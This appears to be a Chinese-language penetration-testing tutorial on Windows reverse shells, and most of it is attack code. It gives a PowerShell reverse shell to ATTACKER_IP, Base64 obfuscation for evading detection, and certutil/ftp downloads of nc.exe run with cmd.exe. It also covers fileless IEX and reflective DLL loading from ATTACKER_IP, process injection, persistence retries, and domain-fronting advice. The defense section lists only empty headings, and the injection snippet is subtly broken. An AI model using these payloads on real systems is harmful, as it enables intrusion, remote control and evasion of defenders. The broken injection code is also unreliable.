在安全评估工作中,反弹Shell(Reverse Shell)是一种常见的连接建立技术。与传统的正向连接不同,反弹Shell的特点是让目标主机主动连接攻击者控制的服务器,这种技术在企业内网渗透测试中尤为实用,主要解决以下场景需求:
Windows系统因其特殊的命令解释体系,实现反弹Shell需要特别注意以下几个技术要点:
重要提示:本文所述技术仅限合法授权测试使用,实际操作前必须获得书面授权,未经授权的网络入侵行为涉嫌违法。
PowerShell作为现代Windows系统的标配组件,提供了强大的网络通信能力。以下是经过实战验证的可靠代码模板:
powershell复制$client = New-Object System.Net.Sockets.TCPClient("ATTACKER_IP",PORT);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + "PS " + (pwd).Path + "> ";
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
}
$client.Close()
参数说明:
ATTACKER_IP替换为监听服务器IPPORT指定连接端口规避检测技巧:
powershell复制$encoded = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($script))
powershell -EncodedCommand $encoded
对于没有PowerShell的环境,可以使用原生cmd结合网络工具实现:
batch复制# 方案1:利用telnet客户端(需启用Windows功能)
cmd /c "echo open ATTACKER_IP PORT > ftp.txt & echo bin >> ftp.txt & echo GET nc.exe >> ftp.txt & echo bye >> ftp.txt & ftp -s:ftp.txt & nc.exe ATTACKER_IP PORT -e cmd.exe"
# 方案2:certutil下载+执行(Windows原生工具)
cmd /c "certutil -urlcache -split -f http://ATTACKER_IP/nc.exe nc.exe & nc.exe ATTACKER_IP PORT -e cmd.exe"
关键点说明:
为避免文件落地触发杀毒软件,可采用以下内存加载方案:
powershell复制# 反射加载DLL
$bytes = (New-Object System.Net.WebClient).DownloadData('http://ATTACKER_IP/payload.dll')
$assembly = [System.Reflection.Assembly]::Load($bytes)
$entryPoint = $assembly.GetType('DLLNamespace.Class').GetMethod('Main')
$entryPoint.Invoke($null, @($null))
# PowerShell无文件执行
IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/script.ps1')
通过进程注入实现隐蔽执行:
powershell复制# 查找目标进程
$notepad = Get-Process notepad -ErrorAction SilentlyContinue
if(!$notepad) { $notepad = Start-Process notepad -PassThru }
# 执行远程线程注入
$hProcess = [System.Runtime.InteropServices.Marshal]::GetHINSTANCE($notepad.MainModule).Handle
$remoteMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($shellcode.Length)
[System.Runtime.InteropServices.Marshal]::Copy($shellcode, 0, $remoteMem, $shellcode.Length)
$threadHandle = [System.Diagnostics.Process]::CreateRemoteThread($hProcess, 0, 0, $remoteMem, 0, 0, [ref]0)
powershell复制while($true){
try{
$client = New-Object System.Net.Sockets.TCPClient("ATTACKER_IP",PORT)
break
}catch{
Start-Sleep -Seconds 60
continue
}
}
powershell复制# 生成SSL证书(测试用)
$cert = New-SelfSignedCertificate -CertStoreLocation Cert:\LocalMachine\My -DnsName "secure.example.com"
# 加密通信
$sslStream = New-Object System.Net.Security.SslStream($tcp.GetStream(), $false)
$sslStream.AuthenticateAsClient("secure.example.com")
企业防御方可通过以下方式检测反弹Shell行为:
网络层检测:
主机层检测:
日志审计重点:
专业建议:红队操作应模拟正常软件通信模式,建议使用C2框架的合法域名前置和HTTPS加密通道,避免使用特征明显的连接方式。